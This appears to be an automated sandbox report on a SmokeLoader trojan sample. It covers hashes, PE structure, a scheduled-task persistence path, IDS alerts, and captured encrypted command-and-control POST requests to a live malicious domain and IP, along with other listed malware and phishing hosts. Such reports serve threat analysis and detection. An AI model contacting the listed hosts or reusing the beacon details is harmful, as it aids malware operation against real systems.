https://android.notify.windows.com/iOS	explorer.exe, 00000001.00000002.2964173446.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1821052424.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://selebration17io.io/index.php	explorer.exe, 00000001.00000002.2966066593.000000000CA42000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2966488393.000000000E730000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2966453902.000000000E660000.00000004.00000020.00020000.00000000.sdmp	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	explorer.exe, 00000001.00000002.2958133429.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.msn.com/	explorer.exe, 00000001.00000000.1818830286.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2960669138.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.com_	explorer.exe, 00000001.00000002.2964173446.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1821052424.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://selebration17io.io/index.phpy	explorer.exe, 00000001.00000002.2966066593.000000000CA42000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com:443/en-us/feed	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of	explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.40.141.211	selebration17io.io	Germany		24940	HETZNER-ASDE	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1496328
Start date and time:	2024-08-21 07:10:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Qi4Mj8hG3t.exe renamed because original name is a hash value
Original Sample Name:	72eec8bbc11e7e184649111b6be19f254b54e1b1f955cf12b7bdcbe7a6c208c0.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@2/2@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 86 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:11:32	API Interceptor	579x Sleep call for process: explorer.exe modified
06:11:31	Task Scheduler	Run new task: Firefox Default Browser Agent 6A0EFD02A3BB95CB path: C:\Users\user\AppData\Roaming\hehbwci

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.40.141.211	setup.exe	Get hash	malicious	Babuk, Djvu	Browse	zexeq.com/test2/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true
	SecuriteInfo.com.Win32.Evo-gen.21074.1738.exe	Get hash	malicious	SmokeLoader	Browse	agressivemnaiq.xyz/
	A9BCD8D127BE95C64EDAE5CDD2379494A37D458FD9D5881D74F8D5487A805E6C.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	host-data-coin-11.com/
	be1c79275d836696a00b258d15a8b337a8c9beb8198a5bd3d5aaf64d660c8005_dump.exe	Get hash	malicious	SmokeLoader	Browse	host-data-coin-11.com/
	EF2D1DE8BE7B216F6983BD43D120B512A0917EBE887F30D256ECA8395CE613CC.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	host-data-coin-11.com/
	LisectAVT_2403002B_303.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	aucmoney.com/upload/
	LisectAVT_2403002C_47.exe	Get hash	malicious	SmokeLoader	Browse	trad-einmyus.com/index.php
	EF48AEBC0F1E77208BBCD5206C58678BB1181994507D1084E1D324DCA9D5D3B8.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	host-data-coin-11.com/
	E6D881EA9A11D23E31737469C38C5C74DE54ADC680A662D877C6CAB46E3A34AB.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	host-data-coin-11.com/
	D9B72DA68DB9EB3D54BFD70C71F9A07EF222B7D9662DE35E74BA080B473DF4E2.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	host-data-coin-11.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
selebration17io.io	987123[1].exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse	188.40.141.211
	Vjt694rffx.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	91.215.85.120
	ak55ZgXKwt.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	91.215.85.120
	tZksysDKeT.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	91.215.85.120
	woM8Z8CFYx.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	91.215.85.120
	6t0abj5L0W.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	91.215.85.120
	UUVupNLfBb.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	91.215.85.120
	FNzQAE7DvU.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	91.215.85.120
	Hweat0i2VU.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	91.215.85.120
	c2DmniR687.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	91.215.85.120

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	53QoH91Zg3.exe	Get hash	malicious	Unknown	Browse	88.99.2.111
	7GfciIf7ys.exe	Get hash	malicious	Unknown	Browse	213.239.213.220
	2pFytt52ws.exe	Get hash	malicious	Unknown	Browse	95.216.22.24
	53QoH91Zg3.exe	Get hash	malicious	Unknown	Browse	195.201.62.78
	http://manga-netflix10737.tinyblogging.com.xx3.kz/	Get hash	malicious	Unknown	Browse	138.201.139.144
	https://monogogo.info/JQJMLAWN#em=npaladino@bigge.com	Get hash	malicious	Phisher	Browse	46.4.15.55
	http://www.lesliehawes.com	Get hash	malicious	Unknown	Browse	135.181.16.82
	KKveTTgaAAsecNNaaaa.sh4.elf	Get hash	malicious	Unknown	Browse	46.4.110.10
	ExeFile (267).exe	Get hash	malicious	Emotet	Browse	195.201.56.70
	ExeFile (27).exe	Get hash	malicious	AZORult, PureLog Stealer	Browse	168.119.251.131

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	174080
Entropy (8bit):	6.743976758645583
Encrypted:	false
SSDEEP:	3072:I3f2uHIOIgqTtvccJ7V7lWqeZc/9Ply7Z3YriJygk:IP2uovTtvccJ7VhW0ipS7
MD5:	61C79ECB54722978E1CCE297F460AE1C
SHA1:	4E71999FE652445C0CE2E14285A8D89D744FA163
SHA-256:	72EEC8BBC11E7E184649111B6BE19F254B54E1B1F955CF12B7BDCBE7A6C208C0
SHA-512:	7E381A203217A851ECD9D2ADA93C2E22A678AC1425F77476F97782DFB1BE4882655C6615D7DF59D6D05B2FBC20463878B2C5C11D6DE7F51AA8F83A67A5BAD90C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66% Antivirus: Virustotal, Detection: 81%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................M......x......L.....u.............I......\|......{.....Rich............PE..L....s{d.....................\|......7.............@..........................0......z.......................................\...x........u...........................................................................................................text............................... ..`.rdata...+.......,..................@..@.data...,.... ...,..................@....rsrc....u.......v...2..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\hehbwci:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.743976758645583
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Qi4Mj8hG3t.exe
File size:	174'080 bytes
MD5:	61c79ecb54722978e1cce297f460ae1c
SHA1:	4e71999fe652445c0ce2e14285a8d89d744fa163
SHA256:	72eec8bbc11e7e184649111b6be19f254b54e1b1f955cf12b7bdcbe7a6c208c0
SHA512:	7e381a203217a851ecd9d2ada93c2e22a678ac1425f77476f97782dfb1be4882655c6615d7df59d6d05b2fbc20463878b2c5c11d6de7f51aa8f83a67a5bad90c
SSDEEP:	3072:I3f2uHIOIgqTtvccJ7V7lWqeZc/9Ply7Z3YriJygk:IP2uovTtvccJ7VhW0ipS7
TLSH:	9304AD3936E1E432C0AB0530E9B1C6718A3BB8E21671418777942BAE6EF17C0597B7D7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................M.......x.......L.......u...............I.......\|.......{.....Rich............PE..L....s{d...................

File Icon


Icon Hash:	67376767d3771ee3

Static PE Info

General

Entrypoint:	0x401637
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x647B731D [Sat Jun 3 17:06:37 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	3e9a9cf66c4a31d33ef1279b5d62e5f6

Entrypoint Preview

Instruction
call 00007EFFF8D2DFA6h
jmp 00007EFFF8D2AE0Eh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [00424258h], eax
mov dword ptr [00424254h], ecx
mov dword ptr [00424250h], edx
mov dword ptr [0042424Ch], ebx
mov dword ptr [00424248h], esi
mov dword ptr [00424244h], edi
mov word ptr [00424270h], ss
mov word ptr [00424264h], cs
mov word ptr [00424240h], ds
mov word ptr [0042423Ch], es
mov word ptr [00424238h], fs
mov word ptr [00424234h], gs
pushfd
pop dword ptr [00424268h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [0042425Ch], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [00424260h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [0042426Ch], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [004241A8h], 00010001h
mov eax, dword ptr [00424260h]
mov dword ptr [0042415Ch], eax
mov dword ptr [00424150h], C0000409h
mov dword ptr [00424154h], 00000001h
mov eax, dword ptr [00422004h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [00422008h]
mov dword ptr [ebp-00000324h], eax
call dword ptr [000000CCh]

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2125c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1ecb000	0x75c8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1f000	0x19c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1d5cb	0x1d600	a810a9c9120f4cdcf66a64506449fbeb	False	0.7495927526595745	data	7.299516897254431	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1f000	0x2bd0	0x2c00	08021782903f47ebf4a4654ea2d41b59	False	0.36656605113636365	data	4.954293942842169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x22000	0x1ea812c	0x2c00	04e2df9c2226af961535575c266f1656	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1ecb000	0x75c8	0x7600	67b0c2b948a339c6604fc076b5e384e1	False	0.56640625	data	5.624069862314347	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x1ed0bc8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0	English	United States	0.4276315789473684
RT_CURSOR	0x1ed0d10	0x134	Targa image data - Map - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.75
RT_CURSOR	0x1ed0e60	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.31023454157782515
RT_ICON	0x1ecb420	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.4584221748400853
RT_ICON	0x1ecc2c8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.6164259927797834
RT_ICON	0x1eccb70	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	English	United States	0.7033410138248848
RT_ICON	0x1ecd238	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.7586705202312138
RT_ICON	0x1ecd7a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.6119294605809129
RT_ICON	0x1ecfd48	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	English	United States	0.7131147540983607
RT_ICON	0x1ed06d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.7677304964539007
RT_STRING	0x1ed1ed8	0xe0	data	English	United States	0.5491071428571429
RT_STRING	0x1ed1fb8	0x610	data	English	United States	0.43427835051546393
RT_ACCELERATOR	0x1ed0ba0	0x28	data	English	United States	1.0
RT_GROUP_CURSOR	0x1ed0cf8	0x14	data	English	United States	1.15
RT_GROUP_CURSOR	0x1ed0e48	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1ed1d08	0x14	data	English	United States	1.25
RT_GROUP_ICON	0x1ed0b38	0x68	data	English	United States	0.7115384615384616
RT_VERSION	0x1ed1d20	0x1b4	data	English	United States	0.573394495412844

Imports

DLL	Import
KERNEL32.dll	HeapAlloc, SystemTimeToFileTime, GetUserDefaultLCID, WideCharToMultiByte, GetConsoleAliasExesLengthW, GetTimeZoneInformation, ReleaseSemaphore, ReplaceFileA, GetStdHandle, GetCurrentDirectoryW, SetLastError, CreateNamedPipeA, CreateTimerQueueTimer, BuildCommDCBW, LoadLibraryA, SystemTimeToTzSpecificLocalTime, LocalAlloc, GetFileType, AddAtomW, GetModuleFileNameA, lstrcatW, FreeEnvironmentStringsW, VirtualProtect, FatalAppExitA, EndUpdateResourceA, GetVolumeInformationW, CreateFileW, WriteConsoleW, ReadFile, GetProcessHeap, GetLocaleInfoA, MoveFileExA, InterlockedExchangeAdd, WriteConsoleOutputCharacterW, SetEndOfFile, SetStdHandle, GetLastError, HeapFree, EncodePointer, DecodePointer, GetCommandLineW, HeapSetInformation, GetStartupInfoW, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, IsProcessorFeaturePresent, HeapCreate, Sleep, HeapSize, GetProcAddress, GetModuleHandleW, ExitProcess, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, RtlUnwind, WriteFile, GetModuleFileNameW, GetEnvironmentStringsW, SetHandleCount, DeleteCriticalSection, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, InterlockedIncrement, GetCurrentThreadId, InterlockedDecrement, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, RaiseException, HeapReAlloc, LoadLibraryW, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, CloseHandle, CreateFileA, GetConsoleCP, GetConsoleMode, FlushFileBuffers, LCMapStringW, MultiByteToWideChar, GetStringTypeW, SetFilePointer
USER32.dll	SetActiveWindow, SetKeyboardState, CreateIcon, GetClassLongA
GDI32.dll	GetCharWidthW
ADVAPI32.dll	GetAce
ole32.dll	CoTaskMemFree

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-21T07:11:33.779685+0200	TCP	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	49736	80	192.168.2.4	188.40.141.211
2024-08-21T07:11:59.918770+0200	TCP	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	49736	80	192.168.2.4	188.40.141.211
2024-08-21T07:11:34.420305+0200	TCP	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	49736	80	192.168.2.4	188.40.141.211
2024-08-21T07:12:00.295440+0200	TCP	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	49736	80	192.168.2.4	188.40.141.211

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 21, 2024 07:11:33.090862989 CEST	49736	80	192.168.2.4	188.40.141.211
Aug 21, 2024 07:11:33.096759081 CEST	80	49736	188.40.141.211	192.168.2.4
Aug 21, 2024 07:11:33.100511074 CEST	49736	80	192.168.2.4	188.40.141.211
Aug 21, 2024 07:11:33.106575966 CEST	49736	80	192.168.2.4	188.40.141.211
Aug 21, 2024 07:11:33.106646061 CEST	49736	80	192.168.2.4	188.40.141.211
Aug 21, 2024 07:11:33.111350060 CEST	80	49736	188.40.141.211	192.168.2.4
Aug 21, 2024 07:11:33.111629009 CEST	80	49736	188.40.141.211	192.168.2.4
Aug 21, 2024 07:11:33.731317997 CEST	80	49736	188.40.141.211	192.168.2.4
Aug 21, 2024 07:11:33.779685020 CEST	49736	80	192.168.2.4	188.40.141.211
Aug 21, 2024 07:11:34.055602074 CEST	49736	80	192.168.2.4	188.40.141.211
Aug 21, 2024 07:11:34.055645943 CEST	49736	80	192.168.2.4	188.40.141.211
Aug 21, 2024 07:11:34.060544014 CEST	80	49736	188.40.141.211	192.168.2.4
Aug 21, 2024 07:11:34.060781002 CEST	80	49736	188.40.141.211	192.168.2.4
Aug 21, 2024 07:11:34.380569935 CEST	80	49736	188.40.141.211	192.168.2.4
Aug 21, 2024 07:11:34.420305014 CEST	49736	80	192.168.2.4	188.40.141.211
Aug 21, 2024 07:11:59.727905989 CEST	49736	80	192.168.2.4	188.40.141.211
Aug 21, 2024 07:11:59.727948904 CEST	49736	80	192.168.2.4	188.40.141.211
Aug 21, 2024 07:11:59.732784033 CEST	80	49736	188.40.141.211	192.168.2.4
Aug 21, 2024 07:11:59.732801914 CEST	80	49736	188.40.141.211	192.168.2.4
Aug 21, 2024 07:11:59.913721085 CEST	80	49736	188.40.141.211	192.168.2.4
Aug 21, 2024 07:11:59.918770075 CEST	49736	80	192.168.2.4	188.40.141.211
Aug 21, 2024 07:11:59.918806076 CEST	49736	80	192.168.2.4	188.40.141.211
Aug 21, 2024 07:11:59.923590899 CEST	80	49736	188.40.141.211	192.168.2.4
Aug 21, 2024 07:11:59.923700094 CEST	80	49736	188.40.141.211	192.168.2.4
Aug 21, 2024 07:12:00.241142988 CEST	80	49736	188.40.141.211	192.168.2.4
Aug 21, 2024 07:12:00.295439959 CEST	49736	80	192.168.2.4	188.40.141.211

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 21, 2024 07:11:32.751893044 CEST	52064	53	192.168.2.4	1.1.1.1
Aug 21, 2024 07:11:33.072408915 CEST	53	52064	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 21, 2024 07:11:32.751893044 CEST	192.168.2.4	1.1.1.1	0x7952	Standard query (0)	selebration17io.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 21, 2024 07:11:33.072408915 CEST	1.1.1.1	192.168.2.4	0x7952	No error (0)	selebration17io.io		188.40.141.211	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

nhivofhdrhfmn.com

selebration17io.io

rthqivmpffucvlrr.net

rgfwevugokr.com

wdxggolynru.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	188.40.141.211	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 07:11:33.106575966 CEST	285	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nhivofhdrhfmn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 237 Host: selebration17io.io
Aug 21, 2024 07:11:33.106646061 CEST	237	OUT	Data Raw: 48 9d 8b bc 48 13 27 52 5e 01 24 24 0c db 5e cd 5b 1c 9b 13 fc 19 df da bc 6c a0 f6 70 f4 a7 e7 8a ad 8e b7 03 32 ee c7 a3 29 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 a4 f5 42 ac Data Ascii: HH'R^$$^[lp2)j~_=;}f=B!bOBn`u(o=yO-'Xb^[!&S]__"X #'<fx=C6`"(k/T;1[E%(C^6JRb5l=
Aug 21, 2024 07:11:33.731317997 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 7 Content-Type: application/octet-stream Date: Wed, 21 Aug 2024 05:11:33 GMT Data Raw: 03 00 00 00 1f 3d 19 Data Ascii: =
Aug 21, 2024 07:11:34.055602074 CEST	288	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rthqivmpffucvlrr.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 142 Host: selebration17io.io
Aug 21, 2024 07:11:34.055645943 CEST	142	OUT	Data Raw: 48 9d 8b bc 48 13 27 52 5e 01 24 24 0c db 5e cd 5b 1c 9b 13 fc 19 df da bc 6c a0 f6 70 f4 a7 e7 8a ad 8e b7 03 32 ee c7 a3 29 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a2 19 c8 8a 14 62 cd d6 4f 96 9f bc 40 b0 Data Ascii: HH'R^$$^[lp2)j~_=;}f=B!bO@'w4ZvAi6$b~*6Pk
Aug 21, 2024 07:11:34.380569935 CEST	144	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Wed, 21 Aug 2024 05:11:34 GMT
Aug 21, 2024 07:11:59.727905989 CEST	283	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rgfwevugokr.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 341 Host: selebration17io.io
Aug 21, 2024 07:11:59.727948904 CEST	341	OUT	Data Raw: 48 9d 8b bc 48 13 27 52 5e 01 24 24 0c db 5e cd 5b 1c 9b 13 fc 19 df da bc 6c a0 f6 70 f4 a7 e7 8a ad 8e b7 03 32 ee c7 a3 29 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 f5 f3 40 dd Data Ascii: HH'R^$$^[lp2)j~_=;}f=B!bO@kBeHbv_$pO`.h%WcHF+R8pcYFB/JK#jvux9s>52:KKmis&BZ2b{TN*
